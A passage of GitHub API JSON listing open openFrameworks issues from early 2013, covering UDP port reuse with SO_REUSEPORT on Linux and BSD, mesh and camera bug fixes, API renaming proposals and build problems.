url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":2,"created_at":"2013-01-27T00:57:59Z","updated_at":"2013-01-27T09:50:55Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I have run into issue #722 while using oF 0073 on Linux 3.5.0-17. The problem is when binding more than one server process on the same IP to the same UDP port. This issue was raised by kylemcdonald https://github.com/openframeworks/openFrameworks/issues/722 The solution as proposed by ofTheo was to add \r\n\r\n//#ifdef __APPLE__\r\n\t\t\t// needed also for OS X - enable multiple listeners for a single port on same network interface\r\n\t\t\tint reusePort = 1; // int on posix\r\n\t\t\tsetsockopt(socket_, SOL_SOCKET, SO_REUSEPORT, &reusePort, sizeof(reusePort));\r\n//#endif\r\n\r\nto oscpack/src/ip/posix/UdpSocket.cpp\r\n\r\nThis does work, as it defines the SO_REUSEPORT property of the POSIX SOCKET API.\r\nThis is exactly the case where it should be used though it should be noted that this should not be limited to OSX, but also be enabled for OpenBSD, FreeBSD, and NetBSD.\r\n\r\nbilderbuchi ran ofTheo's fix regarding SO_REUSEADDR on Linux. I believe what he was seeing was that when SO_REUSEADDR is added, it will keep a process from exiting with an error. What is clear now is that the code was not tested for actually receiving. To bring everyone up to speed, from my research and understanding SO_REUSEADDR allows a process to bind to an IP address before it is freed. Without SO_REUSEADDR the process will crash when it tries to bind to the same IP. I was curious and created a unicast client and a listener with pyOSC. I did this to figure if this was an oF issue or an issue with how Linux implements UDP socket connections. I found that launching more than one instance of an OSC listener bound to the same IP and port would cause the second listener to crash. When going into the pyOSC code, i found it was calling SocketServer.py. Upon inspecting this code, I found that class UDPServer has a variable for allow_reuse_address = False. When I changed this to True my pyOSC server aka the listeners displayed the same behavior as seen by bilderbuchi. I noticed however that only the first running instance was able to receive information. Upon termination of the first instance, the second instance would then receive information. I then inspected to see what the POSIX SOCKET API had to say about the issue. The answer is to use SO_REUSEPORT as discovered by ofTheo. However, there is nowhere to set this on Linux without patching the kernel. The kernel needs to be patched to add SO_REUSEPORT to UDP. This has been raised on the kernel mailing lists, and has met resistance and questioning as to why it is needed. A perfect example is testing OSC communication on a local machine! \r\n\r\nIn summery it turns out that ofTheo's fix applies to all BSD operating systems. It also should be noted for Linux users running into this issue that SO_REUSEADDR is not a complete solution and that there will be no code portable solution for Linux until SO_REUSEPORT is added to the mainline kernel. There is code existing to add SO_REUSEPORT if the user wishes to compile on their own. SO_REUSPORT works well for UDP and needs improvement (from what I have read from the lists) for TCP. I have also seen from the lists that SO_REUPSORT is an aid to system performance. Security issues are raised by some of those on the mailing lists, with talk of having SO_REUSPORT being allowed only for threads with the same PID. I believe their reasoning is for security, but that would not help solve this issue. It would only prevent multiple threads of a process from running into this issue. In fact the POSIX API is clear that a process will only be able to bind to the same ip/port as another processes if they are both using SO_REUSEPORT.\r\n\r\nI hope this post is informative and helpful and hopefully we can contribute as a community in getting the Linux maintainers to add SO_REUSEPORT by default. Having end users recompile kernels does not help with portable code. I know there are other programmers that are asking for the same thing RIGHT NOW as this is a current issue for many other users regarding multiple processes bindings to the same IP and port. This is also a perfect example of how BSD is Unix and that Linux is something a little different. \r\n\r\nMy current solution involves creating servers that listen on unique ports and having the client transmit to multiple ports."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1836","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1836/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1836/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1836/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1836","id":10256802,"number":1836,"title":"fixed ofEasyCam so it works correctly when calling it´s disableMouseInpu...","user":{"login":"roymacdonald","id":974878,"avatar_url":"https://secure.gravatar.com/avatar/fe632ca3d0c42747cfef88a95d942c4a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"fe632ca3d0c42747cfef88a95d942c4a","url":"https://api.github.com/users/roymacdonald","html_url":"https://github.com/roymacdonald","followers_url":"https://api.github.com/users/roymacdonald/followers","following_url":"https://api.github.com/users/roymacdonald/following","gists_url":"https://api.github.com/users/roymacdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/roymacdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/roymacdonald/subscriptions","organizations_url":"https://api.github.com/users/roymacdonald/orgs","repos_url":"https://api.github.com/users/roymacdonald/repos","events_url":"https://api.github.com/users/roymacdonald/events{/privacy}","received_events_url":"https://api.github.com/users/roymacdonald/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":2,"created_at":"2013-01-24T00:17:33Z","updated_at":"2013-02-10T02:00:59Z","closed_at":null,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1836","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1836.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1836.patch"},"body":"...t function in testApp::setup()\r\nthis was being discussed here https://github.com/openframeworks/openFrameworks/pull/1834"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1829","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1829/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1829/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1829/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1829","id":10154793,"number":1829,"title":"Feature Request: Add this iOS native example with storyboards & arc","user":{"login":"rc1","id":166915,"avatar_url":"https://secure.gravatar.com/avatar/014e191932079a5a496436bcd0a5d6c6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"014e191932079a5a496436bcd0a5d6c6","url":"https://api.github.com/users/rc1","html_url":"https://github.com/rc1","followers_url":"https://api.github.com/users/rc1/followers","following_url":"https://api.github.com/users/rc1/following","gists_url":"https://api.github.com/users/rc1/gists{/gist_id}","starred_url":"https://api.github.com/users/rc1/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rc1/subscriptions","organizations_url":"https://api.github.com/users/rc1/orgs","repos_url":"https://api.github.com/users/rc1/repos","events_url":"https://api.github.com/users/rc1/events{/privacy}","received_events_url":"https://api.github.com/users/rc1/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":2,"created_at":"2013-01-21T12:16:54Z","updated_at":"2013-02-11T13:31:50Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Hello,\r\n\r\nI have created an example project for iOS which uses storyboards and uses ARC (not OF, just the example project). The project repo is here: https://github.com/rc1/iosNativeStoryboardArc\r\n\r\nWould this be useful to have included in openFrameworks? If so I will integrate it into the oF's repo and create a PR.\r\n\r\nSome notes:\r\n\r\n1. It is based on the iOSNative example the develop branch.\r\n2. `[ofxiPhoneAppDelegate applicationDidFinishLaunching:app]` is not called as it creates a UIWindow, and instead the project's AppDelegate ([source here](https://github.com/rc1/iosNativeStoryboardArc/blob/master/src/AppDelegate.mm)) sets the data path and signs up for the nessicary events. This could either be a) left as it is, b) ofxiPhoneAppDelegate's `applicationDidFinishLaunching:` could maybe do inline detection of the storyboard, c) I could add `applicationDidFinishLaunching:withStoryboard:` or `applicationDidFinishLaunching:createWindow:` to ofxiPhoneAppDelegate.\r\n\r\nStoryboards are fantastic, and I think this is quite a nice solution for having *light* implementation of OF in a more UIKit iOS app, something that is missing for the example apps imo.\r\n\r\nThanks,\r\nRoss"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1828","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1828/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1828/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1828/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1828","id":10138126,"number":1828,"title":"feature request: adding tangents and binormals to ofMesh and ofVbo","user":{"login":"kalwalt","id":1275858,"avatar_url":"https://secure.gravatar.com/avatar/4ec3f9bd7d21934ccfbcc5242b786cd0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"4ec3f9bd7d21934ccfbcc5242b786cd0","url":"https://api.github.com/users/kalwalt","html_url":"https://github.com/kalwalt","followers_url":"https://api.github.com/users/kalwalt/followers","following_url":"https://api.github.com/users/kalwalt/following","gists_url":"https://api.github.com/users/kalwalt/gists{/gist_id}","starred_url":"https://api.github.com/users/kalwalt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kalwalt/subscriptions","organizations_url":"https://api.github.com/users/kalwalt/orgs","repos_url":"https://api.github.com/users/kalwalt/repos","events_url":"https://api.github.com/users/kalwalt/events{/privacy}","received_events_url":"https://api.github.com/users/kalwalt/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2013-01-20T16:53:50Z","updated_at":"2013-01-20T16:54:18Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"i think it will be useful if you need to apply a normal map and to do parallax mapping of a model imported. I solved this in the past with a GLSL shader that compute them inside the vertex shader. but this require an extra computation to the video card. Better should send precomputed tangents and binormals to the shader. Also if you have a model mesh with normal map you can't import it now with the assimp addon . Correct me if i'm wrong.\r\n\r\nWalter"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1826","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1826/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1826/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1826/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1826","id":10128488,"number":1826,"title":"Renaming ofGraphics methods to reflect operations (e.g. ofRect => ofDrawRectangle)","user":{"login":"jvcleave","id":150037,"avatar_url":"https://secure.gravatar.com/avatar/9c0384a91739bea093f453cf40a59742?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"9c0384a91739bea093f453cf40a59742","url":"https://api.github.com/users/jvcleave","html_url":"https://github.com/jvcleave","followers_url":"https://api.github.com/users/jvcleave/followers","following_url":"https://api.github.com/users/jvcleave/following","gists_url":"https://api.github.com/users/jvcleave/gists{/gist_id}","starred_url":"https://api.github.com/users/jvcleave/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jvcleave/subscriptions","organizations_url":"https://api.github.com/users/jvcleave/orgs","repos_url":"https://api.github.com/users/jvcleave/repos","events_url":"https://api.github.com/users/jvcleave/events{/privacy}","received_events_url":"https://api.github.com/users/jvcleave/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2013-01-19T19:23:28Z","updated_at":"2013-01-19T19:23:28Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"The idea is to provide clarity by renaming the shape drawing methods from\r\n````\r\nofTriangle\r\nofCircle\r\nofEllipse\r\nofLine\r\nofRect\r\nofRectRounded\r\nofSphere\r\nofBox\r\nofCone\r\n````\r\nto\r\n\r\n````\r\nofDrawTriangle\r\nofDrawCircle\r\nofDrawEllipse\r\nofDrawLine\r\nofDrawRectangle\r\nofDrawRoundedRectangle\r\nofDrawSphere\r\nofDrawBox\r\nofDrawCone\r\n````\r\n\r\ndiscussion on the of-dev mailing list: \r\nhttp://dev.openframeworks.cc/pipermail/of-dev-openframeworks.cc/2013-January/006377.html\r\n\r\nThere is also a related idea of a new ofDraw(...) function but since the above would just be renaming and deprecating I think it may be best to do a separate issue \r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1821","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1821/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1821/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1821/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1821","id":10113108,"number":1821,"title":"Proposal: More strict use of ofPoint / ofVec*f.","user":{"login":"bakercp","id":300484,"avatar_url":"https://secure.gravatar.com/avatar/8f6ac7bc0f5c26b87269d442d5339206?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8f6ac7bc0f5c26b87269d442d5339206","url":"https://api.github.com/users/bakercp","html_url":"https://github.com/bakercp","followers_url":"https://api.github.com/users/bakercp/followers","following_url":"https://api.github.com/users/bakercp/following","gists_url":"https://api.github.com/users/bakercp/gists{/gist_id}","starred_url":"https://api.github.com/users/bakercp/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bakercp/subscriptions","organizations_url":"https://api.github.com/users/bakercp/orgs","repos_url":"https://api.github.com/users/bakercp/repos","events_url":"https://api.github.com/users/bakercp/events{/privacy}","received_events_url":"https://api.github.com/users/bakercp/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-2D","name":"section-2D","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":6,"created_at":"2013-01-18T20:59:37Z","updated_at":"2013-01-30T15:07:58Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"With this great PR, #1819 it seems every more important to be a little more strict about our use of `ofPoint`. 90% of the time in the API (not a scientific estimate) we use `ofPoint/ofVec3f` when we mean `ofVec2f`. Since the `ofVec*f` notation can be a little confusing, I'd propose a ofPoint2D typedef of ofVec2f. Most 2D primitives (such as `ofRectangle`, the current version of `ofPolyline` are 2D in their current form.\r\n\r\nOut of curiosity, are people using the `.z` in ofPoint when using `ofRectangle`, etc? I can see how it might be more convenient. But `ofPoint` implies things that `ofRectangle` can't deliver (think `ofLineSegmentIntersection` etc).\r\n\r\nAlternatively, perhaps we should go the route of others (like cinder, toxiclibs, etc) and create a templated point / primitive, setup? From a data and drawing standpoint 2d is no different from 3d, but when we start doing functions like `inside()` or `intersects()` then we could subclass.\r\n\r\nAnyway, just throwing this out there for discussion -- perhaps this is part of the larger API discussion that @ofZach and others have in mind."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1816","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1816/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1816/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1816/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1816","id":10022540,"number":1816,"title":"bug in ofMesh removeIndex(), removeTexCoord(), removeColor();","user":{"login":"ascorbin","id":900709,"avatar_url":"https://secure.gravatar.com/avatar/9cff00ec4a5ef434ed3694c7f84b231b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"9cff00ec4a5ef434ed3694c7f84b231b","url":"https://api.github.com/users/ascorbin","html_url":"https://github.com/ascorbin","followers_url":"https://api.github.com/users/ascorbin/followers","following_url":"https://api.github.com/users/ascorbin/following","gists_url":"https://api.github.com/users/ascorbin/gists{/gist_id}","starred_url":"https://api.github.com/users/ascorbin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ascorbin/subscriptions","organizations_url":"https://api.github.com/users/ascorbin/orgs","repos_url":"https://api.github.com/users/ascorbin/repos","events_url":"https://api.github.com/users/ascorbin/events{/privacy}","received_events_url":"https://api.github.com/users/ascorbin/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2013-01-16T15:43:19Z","updated_at":"2013-01-17T23:20:28Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"its possible to have more indicies than vertices, so...\r\n\r\nin removeIndex(ofIndexType index)\r\n\r\nit must be\r\n\r\n//--------------------------------------------------------------\r\nvoid ofMesh::removeIndex(ofIndexType index){\r\n if(index >= indices.size()){\r\n ofLog(OF_LOG_ERROR,\"Trying to remove index out of range of this mesh. Taking no action.\");\r\n }else{\r\n indices.erase(indices.begin() + index);\r\n bIndicesChanged = true;\r\n }\r\n}\r\n\r\ninstead of \r\n\r\n//--------------------------------------------------------------\r\nvoid ofMesh::removeIndex(ofIndexType index){\r\n if(index >= vertices.size()){\r\n ofLog(OF_LOG_ERROR,\"Trying to remove index out of range of this mesh. Taking no action.\");\r\n }else{\r\n indices.erase(indices.begin() + index);\r\n bIndicesChanged = true;\r\n }\r\n}"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1815","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1815/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1815/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1815/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1815","id":9927313,"number":1815,"title":"android build error on develop","user":{"login":"danthemellowman","id":719564,"avatar_url":"https://secure.gravatar.com/avatar/79621943dfc6272eae9697464ad33696?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"79621943dfc6272eae9697464ad33696","url":"https://api.github.com/users/danthemellowman","html_url":"https://github.com/danthemellowman","followers_url":"https://api.github.com/users/danthemellowman/followers","following_url":"https://api.github.com/users/danthemellowman/following","gists_url":"https://api.github.com/users/danthemellowman/gists{/gist_id}","starred_url":"https://api.github.com/users/danthemellowman/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/danthemellowman/subscriptions","organizations_url":"https://api.github.com/users/danthemellowman/orgs","repos_url":"https://api.github.com/users/danthemellowman/repos","events_url":"https://api.github.com/users/danthemellowman/events{/privacy}","received_events_url":"https://api.github.com/users/danthemellowman/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/android","name":"android","color":"2bc4ad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":10,"created_at":"2013-01-13T22:10:27Z","updated_at":"2013-02-19T16:57:48Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I'm getting a build error when trying to compile the core for android. The compiler complains of \r\n\r\n #ifdef TARGET_ANDROID\r\n\t#include \r\n\r\nin `ofConstansh.h` line `169`\r\n\r\n@arturoc any ideas? \r\n\r\nhttps://gist.github.com/4526448\r\n\r\n\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1813","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1813/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1813/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1813/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1813","id":9919536,"number":1813,"title":"Add Poco::ErrorHandler support to ofThread to catch uncaught in-thread exceptions.","user":{"login":"bakercp","id":300484,"avatar_url":"https://secure.gravatar.com/avatar/8f6ac7bc0f5c26b87269d442d5339206?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8f6ac7bc0f5c26b87269d442d5339206","url":"https://api.github.com/users/bakercp","html_url":"https://github.com/bakercp","followers_url":"https://api.github.com/users/bakercp/followers","following_url":"https://api.github.com/users/bakercp/following","gists_url":"https://api.github.com/users/bakercp/gists{/gist_id}","starred_url":"https://api.github.com/users/bakercp/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bakercp/subscriptions","organizations_url":"https://api.github.com/users/bakercp/orgs","repos_url":"https://api.github.com/users/bakercp/repos","events_url":"https://api.github.com/users/bakercp/events{/privacy}","received_events_url":"https://api.github.com/users/bakercp/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2013-01-13T07:50:03Z","updated_at":"2013-03-09T16:39:38Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"This would be very helpful for debugging threads, as it seems that there are a few mysterious `ofThread`-related bugs around and they often have to do with uncaught exceptions.\r\n\r\nAn example of how it could be used / implemented / integrated is here: https://gist.github.com/4522874\r\n\r\nMore info here on Poco's ErrorHandler base class is here.\r\nhttp://pocoproject.org/slides/130-Threads.pdf\r\nhttp://www.appinf.com/docs/poco/Poco.ErrorHandler.html"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1810","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1810/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1810/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1810/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1810","id":9897631,"number":1810,"title":"update osx scripts to work with 071 folder structure","user":{"login":"thiagohersan","id":850815,"avatar_url":"https://secure.gravatar.com/avatar/b3d17564d4e5a5b5925aab9c8af761cf?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b3d17564d4e5a5b5925aab9c8af761cf","url":"https://api.github.com/users/thiagohersan","html_url":"https://github.com/thiagohersan","followers_url":"https://api.github.com/users/thiagohersan/followers","following_url":"https://api.github.com/users/thiagohersan/following","gists_url":"https://api.github.com/users/thiagohersan/gists{/gist_id}","starred_url":"https://api.github.com/users/thiagohersan/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/thiagohersan/subscriptions","organizations_url":"https://api.github.com/users/thiagohersan/orgs","repos_url":"https://api.github.com/users/thiagohersan/repos","events_url":"https://api.github.com/users/thiagohersan/events{/privacy}","received_events_url":"https://api.github.com/users/thiagohersan/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":8,"created_at":"2013-01-11T22:50:13Z","updated_at":"2013-01-16T18:34:18Z","closed_at":null,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1810","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1810.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1810.patch"},"body":"and mimic the linux scripts.\r\n\r\ntested on os x 10.8.2.\r\n\r\ncloses #1693.\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1805","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1805/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1805/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1805/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1805","id":9811909,"number":1805,"title":"Moving binaries out of the repo","user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/automation","name":"automation","color":"5d5d5d"}],"state":"open","assignee":null,"milestone":null,"comments":2,"created_at":"2013-01-09T16:56:10Z","updated_at":"2013-01-09T16:59:23Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Binaries bloat the repo cause they can't be diffed by git, so everytime you update a binary, you increase size by that file's size - text files just store the diff. The repo gets larger and slower and on a checkout users also have to pull all those old binary files down, too (primary problem according to TAZ).\r\n\r\nThis is a pretty big, difficult and long-term issue, so I collected my findings so far in a Wiki page: https://github.com/openframeworks/openFrameworks/wiki/Moving-binaries-out-of-the-repo (feel free to add your wisdom!), but I thought an issue would be more efficient for discussion."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1804","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1804/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1804/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1804/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1804","id":9798156,"number":1804,"title":"ofxOSC: Make bundles optional","user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon"